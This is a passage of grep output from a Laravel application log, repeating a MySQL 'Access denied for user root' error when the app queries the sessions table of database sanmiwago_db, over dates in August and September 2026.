/var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-24 11:47:24] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = QlCxmJhvd0hUBnnnLyI95MOjItOZvUVRvntj6MfX limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = QlCxmJhvd0hUBnnnLyI95MOjItOZvUVRvntj6MfX limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-25 05:51:19] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = hzvStdMjxoEG6yf7a4u4WDFxngnYRaTeLBCEeS9w limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = hzvStdMjxoEG6yf7a4u4WDFxngnYRaTeLBCEeS9w limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-26 19:34:46] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = JgDn4gLT5vzftoKOn54DDrAAa4WcX9nB11aPDdOv limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = JgDn4gLT5vzftoKOn54DDrAAa4WcX9nB11aPDdOv limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-28 21:18:01] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 2ZKKqsiMmimrjaPKJFboBXd6Kt54euDfiFCXDNOm limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 2ZKKqsiMmimrjaPKJFboBXd6Kt54euDfiFCXDNOm limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-28 23:26:52] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 2LKBWjpahHemjyJSBuzaStgvQFZ1y5nyEJwsJCNk limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 2LKBWjpahHemjyJSBuzaStgvQFZ1y5nyEJwsJCNk limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-29 06:31:54] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 7TqdTpyGD2e3MXefn5cS343RMOzX3AcGjsyUqYCo limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 7TqdTpyGD2e3MXefn5cS343RMOzX3AcGjsyUqYCo limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-29 12:48:50] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RVe38cqQrVd8NmcSuV39FdOUqn3lNR8cqEiOpO3a limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RVe38cqQrVd8NmcSuV39FdOUqn3lNR8cqEiOpO3a limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-30 04:51:08] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = idEfTVcQsBANS24uWa1puxWmBhPxtVFAQxvdxlNE limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = idEfTVcQsBANS24uWa1puxWmBhPxtVFAQxvdxlNE limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-30 09:36:39] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = F13BhdWgxl5roWlPl9QPxkLk08an1wUh4kXMEIK6 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = F13BhdWgxl5roWlPl9QPxkLk08an1wUh4kXMEIK6 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-30 16:14:43] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = iqAWFnN1FMEv738jT3DQzzsVDFkpfilwz8FIcDlZ limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = iqAWFnN1FMEv738jT3DQzzsVDFkpfilwz8FIcDlZ limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-30 18:35:16] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = nPgEe6nu5rOJTKZFjiD6Vzs4EMJe3ygiBt1Rtvhm limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = nPgEe6nu5rOJTKZFjiD6Vzs4EMJe3ygiBt1Rtvhm limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-30 21:05:51] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = QAFrjvgHPvdRRAl0DvdDzedeoGnJCfi7AhUvrVSr limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = QAFrjvgHPvdRRAl0DvdDzedeoGnJCfi7AhUvrVSr limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-31 01:14:16] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = QkTI0GglRQjKnXUQzX1cEThBkUScViBEIbWkkscr limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = QkTI0GglRQjKnXUQzX1cEThBkUScViBEIbWkkscr limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-31 02:41:12] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = dhEmJsbeCqAmGnEroGA8DZum7KlhuCOg6lOMm4Qr limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = dhEmJsbeCqAmGnEroGA8DZum7KlhuCOg6lOMm4Qr limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-31 03:57:22] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = viF8fLxF1AccySRAiN3hK2SCPJVQ7xXHZH8guj49 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = viF8fLxF1AccySRAiN3hK2SCPJVQ7xXHZH8guj49 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-31 13:04:20] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = e4pd5BlhcGAnWCalKfgoXye3UB8H5ep46fDRqC1B limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = e4pd5BlhcGAnWCalKfgoXye3UB8H5ep46fDRqC1B limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-31 19:06:58] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ra64Ft0uuKYplumidq6jG436aPFnjdAYBbflOhTW limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ra64Ft0uuKYplumidq6jG436aPFnjdAYBbflOhTW limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-31 23:37:31] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Y1EAFPyKlftlgxmLVQU3SSDJp9WqNJA2Mhprk1Un limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Y1EAFPyKlftlgxmLVQU3SSDJp9WqNJA2Mhprk1Un limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-01 01:10:08] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = hl94ZZFtttfcBQeuf2jAcn5QnS3odgYkkdhE83A5 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = hl94ZZFtttfcBQeuf2jAcn5QnS3odgYkkdhE83A5 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-01 05:19:22] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 1slfYIL7ivL6o0ejIYx0f8ng36pO1lM86f2lXK3V limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 1slfYIL7ivL6o0ejIYx0f8ng36pO1lM86f2lXK3V limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-02 09:47:39] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RuTBcGDuzwmGZZMEl3hwScshtCBsvhaGZmNU1P97 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RuTBcGDuzwmGZZMEl3hwScshtCBsvhaGZmNU1P97 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-02 10:58:22] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = mJBkGzHFHSKtaSnuSAEqqjgaNd3Bt5vPJvh95BTc limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = mJBkGzHFHSKtaSnuSAEqqjgaNd3Bt5vPJvh95BTc limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-02 12:39:34] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 8Sc9DxUtfE58uqN7nj8HDf3arfYP3tucrx70dutb limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 8Sc9DxUtfE58uqN7nj8HDf3arfYP3tucrx70dutb limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-03 00:55:08] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = qKbAVIWo7EOtCuNJediesoJsG9kvXycADsV1CDXv limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = qKbAVIWo7EOtCuNJediesoJsG9kvXycADsV1CDXv limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-03 09:32:34] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = YY0NKcgiqfp0fXb4lPXUFHD9PJubC3s879kkAcmI limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = YY0NKcgiqfp0fXb4lPXUFHD9PJubC3s879kkAcmI limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-03 14:08:46] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = pjANGS8qGKoOMCmoy3o71sah4mAY0qPf1xckNqux limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = pjANGS8qGKoOMCmoy3o71sah4mAY0qPf1xckNqux limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-03 14:52:16] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = YT9V0nEBSMQXuUnhQfVdUliHsPPiCLNxcAEKhdni limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = YT9V0nEBSMQXuUnhQfVdUliHsPPiCLNxcAEKhdni limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-04 02:35:21] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = bRUqBNIhLyKqSYSa9ZZQz7gfLkaSWpZB7RZPKOi9 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = bRUqBNIhLyKqSYSa9ZZQz7gfLkaSWpZB7RZPKOi9 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-04 05:30:00] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = J8uPqKMq5bOyT07R4BhcPBE3DT370Hj5efhjLd3D limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = J8uPqKMq5bOyT07R4BhcPBE3DT370Hj5efhjLd3D limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-04 06:04:57] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 7tZatC8Db8drwIT3KSUF4gk41NaaphWn8AiXJkdC limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 7tZatC8Db8drwIT3KSUF4gk41NaaphWn8AiXJkdC limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at 